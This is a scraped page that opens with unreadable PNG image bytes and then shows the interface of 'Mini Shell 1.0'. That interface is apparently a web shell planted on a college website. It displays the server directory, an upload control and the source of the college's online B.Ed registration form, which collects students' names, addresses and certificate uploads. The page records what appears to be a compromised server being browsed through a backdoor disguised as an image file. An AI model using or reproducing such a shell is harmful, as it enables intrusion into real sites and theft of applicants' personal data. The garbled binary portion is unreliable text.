PNG  IHDRQgAMA a cHRMz&u0`:pQ<bKGDgmIDATxwUﹻ& ^CX(J I@ "% (** BX +*i"]j(IH{~R)[~>h{}gy)I$Ij .I$I$ʊy@}x.: $I$Ii}VZPC)I$IF ^0ʐJ$I$Q^}{"r=OzI$gRZeC.IOvH eKX $IMpxsk.쒷/&r[޳<v| .I~)@$updYRa$I |M.e JaֶpSYR6j>h%IRز if&uJ)M$I vLi=H;7UJ,],X$I1AҒJ$ XY XzI@GNҥRT)E@;]K*Mw;#5_wOn~\ DC&$(A5 RRFkvIR}l!RytRl;~^ǷJj اy뷦BZJr&ӥ8Pjw~vnv X^(I;4R=P[3]J,]ȏ~:3?[ a&e)`e*P[4]T=Cq6R[ ~ޤrXR Հg(t_HZ-Hg M$ãmL5R uk*`%C-E6/%[t X.{8P9Z.vkXŐKjgKZHg(aK9ڦmKjѺm_ \#$5,)-  61eJ,5m| r'= &ڡd%-]J on Xm|{ RҞe $eڧY XYrԮ-a7RK6h>n$5AVڴi*ֆK)mѦtmr1p| q:흺,)Oi*ֺK)ܬ֦K-5r3>0ԔHjJئEZj,%re~/z%jVMڸmrt)3]J,T K֦OvԒgii*bKiNO~%PW0=dii2tJ9Jݕ{7"I P9JKTbu,%r"6RKU}Ij2HKZXJ,妝 XYrP ެ24c%i^IK|.H,%rb:XRl1X4Pe/`x&P8Pj28Mzsx2r\zRPz4J}yP[g=L) .Q[6RjWgp FIH*-`IMRaK9TXcq*I y[jE>cw%gLRԕiFCj-ďa`#e~I j,%r,)?[gp FI˨mnWX#>mʔ XA DZf9,nKҲzIZXJ,L#kiPz4JZF,I,`61%2s $,VOϚ2/UFJfy7K> X+6 STXIeJILzMfKm LRaK9%|4p9LwJI!`NsiazĔ)%- XMq>pk$-$Q2x#N ؎-QR}ᶦHZډ)J,l#i@yn3LN`;nڔ XuX5pF)m|^0(>BHF9(cզEerJI rg7 4I@z0\JIi䵙RR0s;$s6eJ,`n 䂦0a)S)A 1eJ,堌#635RIgpNHuTH_SԕqVe ` &S)>p;S$魁eKIuX`I4춒o}`m$1":PI<[v9^\pTJjriRŭ P{#{R2,`)e-`mgj~1ϣLKam7&U\j/3mJ,`F;M'䱀 .KR#)yhTq;pcK9(q!w?uRR,n.yw*UXj#\]ɱ(qv2=RqfB#iJmmL<]Y͙#$5 uTU7ӦXR+q,`I}qL'`6Kͷ6r,]0S$- [RKR3oiRE|nӦXR.(i:LDLTJjY%o:)6rxzҒqTJjh㞦I.$YR.ʼnGZ\ֿf:%55 I˼!6dKxm4E"mG_ s? .e*?LRfK9%q#uh$)i3ULRfK9yxm܌bj84$i1U^@Wbm4uJ,ҪA>_Ij?1v32[gLRD96oTaR׿N7%L2 NT,`)7&ƝL*꽙yp_$M2#AS,`)7$rkTA29_Iye"|/0t)$n XT2`YJ;6Jx".e<`$) PI$5V4]29SRI>~=@j]lp2`K9Jaai^" Ԋ29ORI%:XV5]JmN9]H;1UC39NI%Xe78t)a;Oi Ҙ>Xt"~G>_mn:%|~ޅ_+]$o)@ǀ{hgN;IK6G&rp)T2i୦KJuv*T=TOSV>(~D>dm,I*Ɛ:R#ۙNI%D>G.n$o;+#RR!.eU˽TRI28t)1LWϚ>IJa3oFbu&:tJ*(F7y0ZR ^p'Ii L24x| XRI%ۄ>S1]Jy[zL$adB7.eh4%%누>WETf+3IR:I3Xה)3אOۦSRO'ٺ)S}"qOr[B7ϙ.edG)^ETR"RtRݜh0}LFVӦDB^k_JDj\=LS(Iv─aTeZ%eUAM-0;~˃@i|l @S4y72>sX-vA}ϛBI!ݎߨWl*)3{'Y|iSlEڻ(5KtSI$Uv02,~ԩ~x;P4ցCrO%tyn425:KMlD ^4JRxSهF_}شJTS6uj+ﷸk$eZO%G*^V2u3EMj3k%)okI]dT)URKDS 7~m@TJR~荪fT"֛L \sM -0T KfJz+nإKr L&j()[E&I ߴ>e FW_kJR|!O:5/2跌3T-'|zX ryp0JS ~^F>-2< `*%ZFP)bSn"L :)+pʷf(pO3TMW$~>@~ū:TAIsV1}S2<%ޟM?@iT ,Eūoz%i~g|`wS(]oȤ8)$ ntu`өe`6yPl IzMI{ʣzʨ )IZ2= ld:5+請M$-ї;U>_gsY$ÁN5WzWfIZ)-yuXIfp~S*IZdt;t>KūKR|$#LcԀ+2\;kJ`]YǔM1B)UbG"IRߊ<xܾӔJ0Z='Y嵤 Leveg)$znV-º^3Ւof#0Tfk^Zs[*I꯳3{)ˬW4Ւ4 OdpbZRS|*I 55#"&-IvT&/윚Ye:i$ 9{LkuRe[I~_\ؠ%>GL$iY8 9ܕ"S`kS.IlC;Ҏ4x&>u_0JLr<J2(^$5L s=MgV ~,Iju> 7r2)^=G$1:3G< `J3~&IR% 6Tx/rIj3O< ʔ&#f_yXJiގNSz; Tx(i8%#4 ~AS+IjerIUrIj362v885+IjAhK__5X%nV%Iͳ-y|7XV2v4fzo_68"S/I-qbf; LkF)KSM$ Ms>K WNV}^`-큧32ŒVؙGdu,^^m%6~Nn&͓3ŒVZMsRpfEW%IwdǀLm[7W&bIRL@Q|)* i ImsIMmKmyV`i$G+R 0tV'!V)֏28vU7͒vHꦼtxꗞT ;S}7Mf+fIRHNZUkUx5SAJㄌ9MqμAIRi|j5)o*^'<$TwI1hEU^c_j?Е$%d`z cyf,XO IJnTgA UXRD }{H}^S,P5V2\Xx`pZ|Yk:$e ~ @nWL.j+ϝYb퇪bZ BVu)u/IJ_ 1[p.p60bC >|X91P:N\!5qUB}5a5ja `ubcVxYt1N0Zzl4]7­gKj]?4ϻ *[bg$)+À*x쳀ogO$~,5 زUS9 lq3+5mgw@np1sso Ӻ=|N6 /g(Wv7U;zωM=wk,0uTg_`_P`uz?2yI!b`kĸSo+Qx%!\οe|އԁKS-s6pu_(ֿ$i++T8=eY; צP+phxWQv*|p1. ά. XRkIQYP,drZ | B%wP|S5`~́@i޾ E;Չaw{o'Q?%iL{u D?N1BD!owPHReFZ* k_-~{E9b-~P`fE{AܶBJAFO wx6Rox5 K5=WwehS8 (JClJ~ p+Fi;ŗo+:bD#g(C"wA^ r.F8L;dzdIHUX݆ϞXg )IFqem%I4dj&ppT{'{HOx( Rk6^C٫O.)3:s(۳(Z?~ٻ89zmT"PLtw䥈5&b<8GZ-Y&K?e8,`I6e(֍xb83 `rzXj)F=l($Ij 2*(F?h(/9ik:I`m#p3MgLaKjc/U#n5S# m(^)=y=đx8ŬI[U]~SцA4p$-F i(R,7Cx;X=cI>{Km\ o(Tv2vx2qiiDJN,Ҏ!1f 5quBj1!8 rDFd(!WQl,gSkL1Bxg''՞^ǘ;pQ P(c_ IRujg(Wz bs#P­rz> k c&nB=q+ؔXn#r5)co*Ũ+G?7< |PQӣ'G`uOd>%Mctz# Ԫڞ&7CaQ~N'-P.W`Oedp03C!IZcIAMPUۀ5J<\u~+{9(FbbyAeBhOSܳ1 bÈT#ŠyDžs,`5}DC-`̞%r&ڙa87QWWp6e7 Rϫ/oY ꇅ Nܶըtc!LA T7V4Jsū I-0Pxz7QNF_iZgúWkG83 0eWr9 X]㾮݁#Jˢ C}0=3ݱtBi]_ &{{[/o[~ \q鯜00٩|cD3=4B_b RYb$óBRsf&lLX#M*C_L܄:gx)WΘsGSbuL rF$9';\4Ɍq'n[%p.Q`u hNb`eCQyQ|l_C>Lb꟟3hSb #xNxSs^ 88|Mz)}:](vbۢamŖ࿥ 0)Q7@0=?^k(*J}3ibkFn HjB׻NO z x}7p 0tfDX.lwgȔhԾŲ }6g E |LkLZteu+=q\Iv0쮑)QٵpH8/2?Σo>Jvppho~f>%bMM}\//":PTc(v9v!gոQ )UfVG+! 35{=x\2+ki,y$~A1iC6#)vC5^>+gǵ@1Hy٪7u;p psϰu/S <aʸGu'tD1ԝI<pg|6j'p:tպhX{o(7v],*}6a_ wXRk,O]Lܳ~Vo45rp"N5k;m{rZbΦ${#)`(Ŵg,;j%6j.pyYT?}-kBDc3qA`NWQū20/^AZW%NQ MI.X#P#,^Ebc&?XR tAV|Y.1!؅⨉ccww>ivl(JT~ u`ٵDm q)+Ri x/x8cyFO!/*!/&,7<.N,YDŽ&ܑQF1Bz)FPʛ?5d 6`kQձ λc؎%582Y&nD_$Je4>a?! ͨ|ȎWZSsv8 j(I&yj Jb5m?HWp=g}G3#|I,5v珿] H~R3@B[☉9Ox~oMy=J;xUVoj bUsl_35t-(ՃɼRB7U!qc+x4H_Qo֮$[GO<4`&č\GOc[.[*Af%mG/ ňM/r W/Nw~B1U3J?P&Y )`ѓZ1p]^l“W#)lWZilUQu`-m|xĐ,_ƪ|9i:_{*(3Gѧ}UoD+>m_?VPۅ15&}2|/pIOʵ> GZ9cmíتmnz)yߐbD >e}:) r|@R5qVSA10C%E_'^8cR7O;6[eKePGϦX7jb}OTGO^jn*媓7nGMC t,k31Rb (vyܴʭ!iTh8~ZYZp(qsRL ?b}cŨʊGO^!rPJO15MJ[c&~Z`"ѓޔH1C&^|Ш|rʼ,AwĴ?b5)tLU)F| &g٣O]oqSUjy(x<Ϳ3 .FSkoYg2 \_#wj{u'rQ>o;%n|F*O_L"e9umDds?.fuuQbIWz |4\0 sb;OvxOSs; G%T4gFRurj(֍ڑb uԖKDu1MK{1^ q; C=6\8FR艇!%\YÔU| 88m)֓NcLve C6z;o&X x59:q61Z(T7>C?gcļxѐ Z oo-08jہ x,`' ҔOcRlf~`jj".Nv+sM_]Zk g( UOPyεx%pUh2(@il0ݽQXxppx-NS( WO+轾 nFߢ3M<;z)FBZjciu/QoF 7R¥ ZFLF~#ȣߨ^<쩡ݛкvџ))ME>ώx4m#!-m!L;vv#~Y[đKmx9.[,UFS CVkZ +ߟrY٧IZd/ioi$%͝ب_ֶX3ܫhNU ZZgk=]=bbJS[wjU()*I =ώ:}-蹞lUj:1}MWm=̛ _ ¾,8{__m{_PVK^n3esw5ӫh#$-q=A̟> ,^I}P^J$qY~Q[ Xq9{#&T.^GVj__RKpn,b=`żY@^՝;z{paVKkQXj/)y TIc&F;FBG7wg ZZDG!x r_tƢ!}i/V=M/#nB8 XxЫ ^@CR<{䤭YCN)eKOSƟa $&g[i3.C6xrOc8TI;o hH6P&L{@q6[ Gzp^71j(l`J}]e6X☉#͕ ׈$AB1Vjh㭦IRsqFBjwQ_7Xk>y"N=MB0 ,C #o6MRc0|$)ف"1!ixY<B9mx `,tA>)5ػQ?jQ?cn>YZe Tisvh# GMމȇp:ԴVuږ8ɼH]C.5C!UV;F`mbBk LTMvPʍϤj?ԯ/Qr1NB`9s"s TYsz &9S%U԰> {<ؿSMxB|H\3@!U| k']$U+> |HHMLޢ?V9iD!-@x TIî%6Z*9X@HMW#?nN ,oe6?tQwڱ.]-y':mW0#!J82qFjH -`ѓ&M0u Uγmxϵ^-_\])@0Rt.8/?ٰCY]x}=sD3ojަЫNuS%U}ԤwHH>ڗjܷ_3gN q7[q2la*ArǓԖ+p8/RGM ]jacd(JhWko6ڎbj]i5Bj3+3!\j1UZLsLTv8HHmup<>gKMJj0@H%,W΃7R) ">c, xixј^ aܖ>H[i.UIHc U1=yW\=S*GR~)AF=`&2h`DzT󑓶J+?W+}C%P:|0H܆}-<;OC[~o.$~i}~HQ TvXΈr=b}$vizL4:ȰT|4~*!oXQR6Lk+#t/g lԁߖ[Jڶ_N$k*". xsxX7jRVbAAʯKҎU3)zSNN _'s?f)6X!%ssAkʱ>qƷb hg %n ~p1REGMHH=BJiy[<5 ǁJҖgKR*倳e~HUy)Ag,K)`Vw6bRR:qL#\rclK/$sh*$ 6덤 KԖc 3Z9=Ɣ=o>X Ώ"1 )a`SJJ6k(<c e{%kϊP+SL'TcMJWRm ŏ"w)qc ef꒵i?b7b('"2r%~HUS1\<(`1Wx9=8HY9m:X18bgD1u ~|H;K-Uep,, C1 RV.MR5άh,tWO8WC$ XRVsQS]3GJ|12 [vM :k#~tH30Rf-HYݺ-`I9%lIDTm\ S{]9gOڒMNCV\G*2JRŨ;Rҏ^ڽ̱mq1Eu?To3I)y^#jJw^Ńj^vvlB_⋌P4x>0$c>K†Aļ9s_VjTt0l#m>E-,,x,-W)سo&96RE XR.6bXw+)GAEvL)͞K4$p=Ũi_ѱOjb HY/+@θH9޼]Nԥ%n{ &zjT? Ty) s^ULlb,PiTf^<À] 62R^V7)S!nllS6~͝V}-=%* ʻ>G DnK<y&>LPy7'r=Hj 9V`[c"*^8HpcO8bnU`4JȪAƋ#1_\ XϘHPRgik(~G~0DAA_2p|J묭a2\NCr]M_0 ^T%e#vD^%xy-n}-E\3aS%yN!r_{ )sAw ڼp1pEAk~v<:`'ӭ^5 ArXOI驻T (dk)_\ PuA*BY]yB"l\ey hH*tbK)3 IKZ򹞋XjN n *n>k]X_d!ryBH ]*R 0(#'7 %es9??ښFC,ՁQPjARJ\Ρw K#jahgw;2$l*) %Xq5!U᢯6Re] |0[__64ch&_}iL8KEgҎ7 M/\`|.p,~`a=BR?xܐrQ8K XR2M8f ?`sgWS%" Ԉ 7R%$ N}?QL1|-эټwIZ%pvL3Hk>,ImgW7{E xPHx73RA @RS CC !\ȟ5IXR^ZxHл$Q[ŝ40 (>+ _C >BRt<,TrT {O/H+˟Pl6 I B)/VC<6a2~(XwV4gnXR ϱ5ǀHٻ?tw똤Eyxp{#WK qG%5],(0ӈH HZ])ג=K1j&G(FbM@)%I` XRg ʔ KZG(vP,<`[ Kn^ SJRsAʠ5xՅF`0&RbV tx:EaUE/{fi2;.IAwW8/tTxAGOoN?G}l L(n`Zv?pB8K_gI+ܗ #i?ޙ.) p$utc ~DžfՈEo3l/)I-U?aԅ^jxArA ΧX}DmZ@QLےbTXGd.^|xKHR{|ΕW_h] IJ`[G9{).y) 0X YA1]qp?p_k+J*Y@HI>^?gt.06Rn ,` ?);p pSF9ZXLBJPWjgQ|&)7! HjQt<| ؅W5 x W HIzYoVMGP Hjn`+\(dNW)F+IrS[|/a`K|ͻ0Hj{R,Q=\ (F}\WR)AgSG`IsnAR=|8$}G(vC$)s FBJ?]_u XRvύ6z ŨG[36-T9HzpW̞ú Xg큽=7CufzI$)ki^qk-) 0H*N` QZkk]/tnnsI^Gu't=7$ Z;{8^jB% IItRQS7[ϭ3 $_OQJ`7!]W"W,)Iy W AJA;KWG`IY{8k$I$^%9.^(`N|LJ%@$I}ֽp=FB*xN=gI?Q{٥4B)mw $Igc~dZ@G9K X?7)aK%݅K$IZ-`IpC U6$I\0>!9k} Xa IIS0H$I H ?1R.Чj:4~Rw@p$IrA*u}WjWFPJ$I➓/6#! LӾ+ X36x8J |+L;v$Io4301R20M I$-E}@,pS^ޟR[/s¹'0H$IKyfŸfVOπFT*a$I>He~VY/3R/)>d$I>28`Cjw,n@FU*9ttf$I~<;=/4RD~@ X-ѕzἱI$: ԍR a@b X{+Qxuq$IЛzo /~3\8ڒ4BN7$IҀj V]n18H$IYFBj3̵̚ja pp $Is/3R Ӻ-Yj+L;.0ŔI$Av? #!5"aʄj}UKmɽH$IjCYs?h$IDl843.v}m7UiI=&=0Lg0$I4: embe` eQbm0u? $IT!Sƍ'-sv)s#C0:XB2a w I$zbww{."pPzO =Ɔ\[ o($Iaw]`E).Kvi:L*#gР7[$IyGPI=@R 4yR~̮´cg I$I/<tPͽ hDgo 94Z^k盇΄8I56^W$I^0̜N?4*H`237}g+hxoq)SJ@p|` $I%>-hO0eO>\ԣNߌZD6R=K ~n($I$y3D>o4b#px2$yڪtzW~a $I~?x'BwwpH$IZݑnC㧄Pc_9sO gwJ=l1:mKB>Ab<4Lp$Ib o1ZQ@85b̍ S'F,Fe,^I$IjEdù{l4 8Ys_s Z8.x m"+{~?q,Z D!I$ϻ'|XhB)=…']M>5 rgotԎ 獽PH$IjIPhh)n#cÔqA'ug5qwU&rF|1E%I$%]!'3AFD/;Ck_`9 v!ٴtPV;x`'*bQa w I$Ix5 FC3D_~A_#O݆DvV?<qw+I$I{=Z8".#RIYyjǪ=fDl9%M,a8$I$Ywi[7ݍFe$s1ՋBVA?`]#!oz4zjLJo8$I$%@3jAa4(o ;p,,dya=F9ً[LSPH$IJYЉ+3> 5"39aZ<ñh!{TpBGkj}Sp $IlvF.F$I z< '\K*qq.f<2Y!S"-\I$IYwčjF$ w9 \ߪB.1v!Ʊ?+r:^!I$BϹB H"B;L'G[ 4U#5>੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB`Mini Shell

HOME


Mini Shell 1.0
DIR:/home/nalandahmr.org/www/
Upload File :
Current File : /home/nalandahmr.org/www/online_reg.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta http-equiv="X-UA-Compatible" content="IE=8"/>
<title>Nalanda College of Education - Hamirpur, H.P.</title>
<link href="css/reset.css" rel="stylesheet" type="text/css" />
<link href="css/style.css" rel="stylesheet" type="text/css" />

<link rel="stylesheet" type="text/css" href="engine1/style.css" />
<script type="text/javascript" src="engine1/jquery.js"></script>

<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.cycle.js"></script>
<script type="text/javascript">
jQuery(document).ready(function($){
	$('.partners_logo').cycle({ 
		fx:     'scrollHorz', 
		speed:  'slow', 
		timeout: 5000, 
		next:   '#next', 
		prev:   '#prev' 
	});
});

</script>

<style>
#wowslider-container1{z-index:10;}
</style>

<link rel="stylesheet" type="text/css" href="ddsmoothmenu.css" />
<link rel="stylesheet" type="text/css" href="ddsmoothmenu-v.css" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="ddsmoothmenu.js">
</script>
 <script type="text/javascript">

ddsmoothmenu.init({
	mainmenuid: "smoothmenu1", //menu DIV id
	orientation: 'h', //Horizontal or vertical menu: Set to "h" or "v"
	classname: 'ddsmoothmenu', //class added to menu's outer DIV
	//customtheme: ["#1c5a80", "#18374a"],
	contentsource: "markup" //"markup" or ["container_id", "path_to_menu_file"]
})

ddsmoothmenu.init({
	mainmenuid: "smoothmenu2", //Menu DIV id
	orientation: 'v', //Horizontal or vertical menu: Set to "h" or "v"
	classname: 'ddsmoothmenu-v', //class added to menu's outer DIV
	//customtheme: ["#804000", "#482400"],
	contentsource: "markup" //"markup" or ["container_id", "path_to_menu_file"]
})

</script>


    
</head>

<body>
<?php include("includes/header.php"); ?>
<!--/ end header -->
<div class="content_wrapper">   
    <div class="container">
     
     <div class="internal_left" style="min-height:450px;">
      <div class="bread_crum">
     	<ul>
        	<li><a href="index.php">Home</a></li>
            <li>About Us</li>
        </ul>
     </div>
     
     <div class="internal_heading">On Line Registration</div>

<div class="left_con">
<p style="font-size:14px; float:left; text-align:justify; margin:0 0 15px 0;">&nbsp;</p>
<form name="form1" id="form1" action="view.php" method="post" onsubmit= "return checkform();" enctype="multipart/form-data" >

<fieldset class="sectionwrap" > 
 <div class="form">   
     <div class="rows ">
<label>Student Name (in Capital Letters) :</label>
<input type="text" name="name2" id="name" />
 </div> 

  <div class="rows ">
<label>Father�s Name (in Capital Letters) :</label>
<input type="text" name="fname" id="father_name" />
 </div> 
 

 
<div class="rows ">
<label>Mother�s Name (in Capital Letters) :</label>
<input type="text" name="mname" id="mother_name" />
 </div> 
 

<div class="rows ">
<label>Date of Birth :</label>
<input id="date" name="date" type="text" class="slimpicker"      alt="{
			dayChars:3,
			dayNames:['Sonntag', 'Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag'],
			daysInMonth:[31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31],
			format:'yyyy-mm-dd',
			monthNames:['Januar', 'Februar', 'M&auml;rz', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember'],
			startDay:1,
			yearOrder:'desc',
			yearRange:90,
			yearStart:2025
		}" value="1980-03-13"  onchange="CalculateAge('date');" />  </div>


 <div class="rows ">

<label>Age:</label><input type="text" readonly="readonly" id="age" name="age" onfocus="CalculateAge(document.getElementById('date'));" /> 
<!--<label>Age:</label> <input type="text" id="age" name="date" size="25" onchange="CalculateAge(this)" /-->

</div>
    

        
  

 <div class="rows ">
<label>Gender :</label>

<select id="gender" name="gender">
		 <option value="">Select</option>
          <option>Male</option>
          <option>Female</option>
         
        </select>
 </div> 

 <div class="rows ">
<label>Course Applied for :	</label><br />
<input type="text" name="course" id="course"  value="B.ED"/>
 </div> 


<div class="rows ">
<label>Stream  :</label>
<select id="stream" name="stream">
<option selected="" value="">-Select- </option>
<option>Arts </option>
<option>Commerce </option>
<option>Medical </option>
<option>Non-Medical </option>
</select>
 </div>
 

 <div class="rows ">
<label>Category  :</label>
<select id="category" name="category">

<option selected="" value="">-Select- </option>
<option>General  </option>
<option>SC </option>
<option>ST </option>
<option>OBC</option>
</select>
 </div>


 <div class="rows ">
<label>Marital Status  :</label>

<select id="status" name="status">
		 <option value="">Select</option>
          <option>Married </option>
          <option>Unmarried</option> 
        </select> 
 </div>


 <div class="rows ">
<label>Bonafide Residence of   :</label>

<select id="state" name="state">
<option value="">-Select-</option>
<option>Andaman And Nicobar</option>
<option>Andhra Pradesh</option>
<option>Arunachal Pradesh</option>
<option>Assam</option>
<option>Bihar</option>
<option>Chandigarh</option>
<option>Chattisgarh</option>
<option>Dadra Nagar Haveli</option>
<option>Daman And Diu</option>
<option>Delhi</option>
<option>Goa</option>
<option>Gujarat</option>
<option>Haryana</option>
<option>Himachal Pradesh</option>
<option>Jammu And Kashmir</option>
<option>Jharkhand</option>
<option>Karnataka</option>
<option>Kerala</option>
<option>Lakshadweep</option>
<option>Madhya Pradesh</option>
<option>Maharashtra</option>
<option>Manipur</option>
<option>Meghalaya</option>
<option>Mizoram</option>
<option>Nagaland</option>
<option>Orissa</option>
<option>Pondicherry</option>
<option>Punjab </option>
<option>Rajasthan</option>
<option>Sikkim</option>
<option>Tamil Nadu</option>
<option>Tripura</option>
<option>Uttarakhand</option>
<option>UP</option>
<option>West Bengal</option>
<option>International</option>
<option>Other2</option>
<option>UP(Noida, Gaziabad)</option>
</select>

 </div>


 <div class="rows ">
<label>Religion :</label>

<select id="religion" name="religion">
<option selected="" value="">-Select- </option>
<option>Hindu </option>
<option>Muslim </option>
<option>Sikh </option>
<option>Magicians </option>
<option>christian </option>
<option>Buddhist </option>
<option>Jain </option>
<option>Jewish</option>
<option>Parsi</option>
</select>

 </div>


 <div class="rows ">
<label>Language  :</label>

<select id="language" name="language">
<option selected="" value="">-Select- </option>
<option>Hindi </option>
<option>English </option>
</select>
 </div>


 <div class="rows ">
<label>E-Mail ID :</label><input type="text" name="email" id="email" /> 
 </div>

 <div class="rows ">
<label>Phone Number :</label><input type="text" name="phone" id="phone" /> 
 </div>
 

<div class="rows ">
<label>Correspondence  Address :</label> <textarea id="correspondenceaddress" name="caddress" cols="40" rows=""  ></textarea>
 </div>
 
  <div class="rows ">
<label>City :</label><input type="text" name="c_city" id="city" /> 
 </div>
 
 
 <div class="rows ">
<label>PIN Code :</label><input type="text" name="c_code" id="code" /> 
 </div>
 
 <div class="rows ">
<label>Permanent Address :</label> <textarea id="permanentaddress" name="paddress" cols="40" rows=""  ></textarea>
 </div>

 <div class="rows ">
<label>City :</label><input type="text" name="p_city" id="city" /> 
 </div>
 
 
 <div class="rows ">
<label>PIN Code :</label><input type="text" name="p_code" id="code" /> 
 </div>
 

   <div class="clear"></div>
</div>
</fieldset>
   <fieldset class="sectionwrap">

<div class="form">
 <div class="rows ">
<label>Upload the Matric Certificate:</label><input type="file" name="matric" id="matric" /> 
 </div> 
  <div class="clear"></div>
 <div class="rows ">
<label>Upload the 10+2 Certificate:</label><input type="file" name="plus" id="plus" /> 
 </div> 
  
   <div class="clear"></div>
 <div class="rows ">
<label> Upload the Graduation first year Certificate:</label><input type="file" name="first" id="first" /> 
 </div> 
 <div class="clear"></div>
 <div class="rows ">
<label>Upload the Graduation Second year Certificate:</label><input type="file" name="second" id="second" /> 
 </div> 
 <div class="clear"></div>
 <div class="rows ">
<label>Upload the Graduation Third year Certificate:</label><input type="file" name="third" id="third" /> 
 </div> 
 <div class="clear"></div>
 <h3>Please upload your Post Graduation certificate if your Percentage<br />
 in graduation is below 50 % /45%</h3>
 <div class="clear"></div>
 <div class="rows ">
<label>Upload the Post Graduation Final year Certificate:</label><input type="file" name="final" id="final" /> 
 </div> 
 <div class="clear"></div>
 <div class="rows ">
<label>Bonafied Certificate:</label><input type="file" name="bonafied" id="bonafied" /> 
 </div> 
 <div class="clear"></div>
 <div class="rows ">
<label>Migration Certificate:</label><input type="file" name="migration" id="migration" /> 
 </div> 
 <div class="clear"></div>
 <h3>In case of HPU Candidate please upload your H.P.University<br />
 Registration Number below :</h3>
  <div class="clear"></div>
 <div class="rows ">
<label>Upload your university registration slip:</label><input type="file" name="registration" id="registration" value="upload"/> 
 </div> 
 <div class="clear"></div>
  <h3>Please fill all the columns </h3>
 <div class="tbl">
<table width="70%" class="sample">
  <tr>
    <td>Sr. No.</td>
    <td>Class</td>
    <td>Board / University</td>
    <td>Subject Opted</td>
    <td>Total Marks</td>
    <td>Marks Obtained</td>
    <td>Percentage</td>
  </tr>
  <tr>
    <td>1</td>
    <td>Matric</td>
    <td><input type="text" name="board1"  /></td>
    <td><input type="text" name="subject1"  /></td>
    <td><input type="text" name="total1"  /></td>
    <td><input type="text" name="marks1"  /></td>
    <td><input type="text" name="percentage1"  /></td>
  </tr>
  <tr>
    <td>2</td>
    <td>10+2</td>
     <td><input type="text" name="board2" /></td>
    <td><input type="text" name="subject2" /></td>
    <td><input type="text" name="total2" /></td>
    <td><input type="text" name="marks2"  /></td>
    <td><input type="text" name="percentage2"  /></td>
  </tr>
  <tr>
    <td>3</td>
    <td>B.A./B.Sc./B.Com. 1st Year)</td>
    <td><input type="text" name="board3"  /></td>
    <td><input type="text" name="subject3"  /></td>
    <td><input type="text" name="total3"  /></td>
    <td><input type="text" name="marks3"  /></td>
    <td><input type="text" name="percentage3"  /></td>
  </tr>
  <tr>
    <td>4</td>
    <td>B.A./B.Sc./B.Com. 2nd Year)</td>
    <td><input type="text" name="board4"  /></td>
    <td><input type="text" name="subject4"  /></td>
    <td><input type="text" name="total4" /></td>
    <td><input type="text" name="marks4"  /></td>
    <td><input type="text" name="percentage4"  /></td>
  </tr>
  <tr>
    <td>5</td>
    <td>B.A./B.Sc./B.Com. 3rd Year)</td>
    <td><input type="text" name="board5" /></td>
    <td><input type="text" name="subject5"  /></td>
    <td><input type="text" name="total5"  /></td>
    <td><input type="text" name="marks5"  /></td>
    <td><input type="text" name="percentage5" /></td>
  </tr>
  <tr>
    <td>6</td>
    <td>Aggregate I+II+III</td>
    <td><input type="text" name="board6" /></td>
    <td><input type="text" name="subject6" /></td>
    <td><input type="text" name="total6"  /></td>
    <td><input type="text" name="marks6" /></td>
    <td><input type="text" name="percentage6"  /></td>
  </tr>
  <tr>
    <td>7</td>
    <td>M.A./M.Sc./M.Com. Final Year)</td>
    <td><input type="text" name="board7" /></td>
    <td><input type="text" name="subject7"  /></td>
    <td><input type="text" name="total7"  /></td>
    <td><input type="text" name="marks7"/></td>
    <td><input type="text" name="percentage7" /></td>
  </tr>
</table>

 </div> 
 </div>
 <div class="clear"></div>
 </fieldset>
 
   <fieldset class="sectionwrap">
   <div class="form">
    <h3>Check Your Eligibility :</h3>
    
    <div class="rows ">
<label1>a.&nbsp;That I am born on or after 01-07-1986 (General Category Boy Candidates) or on after 01-07-1984
(General Category Girls Candidates) or on 01-07-1983 ( SC/ST Category Candidates): 
</label1>
  <input type="checkbox" name="checkbox1" id="checkbox1" value="yes" />&nbsp;Yes&nbsp;<input type="checkbox" name="checkbox1" id="checkbox11" value="no" />&nbsp;No
 </div> 
   
   
   <div class="rows ">
<label1>b.&nbsp;That my combination of subjects at Graduation is according to the NOTE given below: 
</label1>
  <input type="checkbox" name="checkbox2" value="yes" />&nbsp;Yes&nbsp;<input type="checkbox" name="checkbox2" id="checkbox2" value="no" />&nbsp;No
 </div> 
 <div class="rows ">
<label1>c.&nbsp;That my Percentage of Marks at Graduation is 50% or above (In case of General Category Candidates)
    	and 45% and above (In case of SC/ST) : 

</label1>
  <input type="checkbox" name="checkbox3" value="yes" />&nbsp;Yes&nbsp;<input type="checkbox" name="checkbox3" id="checkbox3" value="no"/>&nbsp;No
 </div> 
 <div class="rows ">
<label1>d.&nbsp;That my Claim Consideration Certificate for admission under any of the Reserved Categories(where
   	 applicable) is the latest and has been procured after March15, 2010(except SC/ST/ Bonafide Certificates)
  	    	from the competent authority as mentioned in the Handbook of information and in this application form
    	under 'Instructions'. 

</label1>
  <input type="checkbox" name="checkbox4" value="yes" />&nbsp;Yes&nbsp;<input type="checkbox" name="checkbox4" id="checkbox4" value="no"/>&nbsp;No
 </div> 
 <div class="rows ">
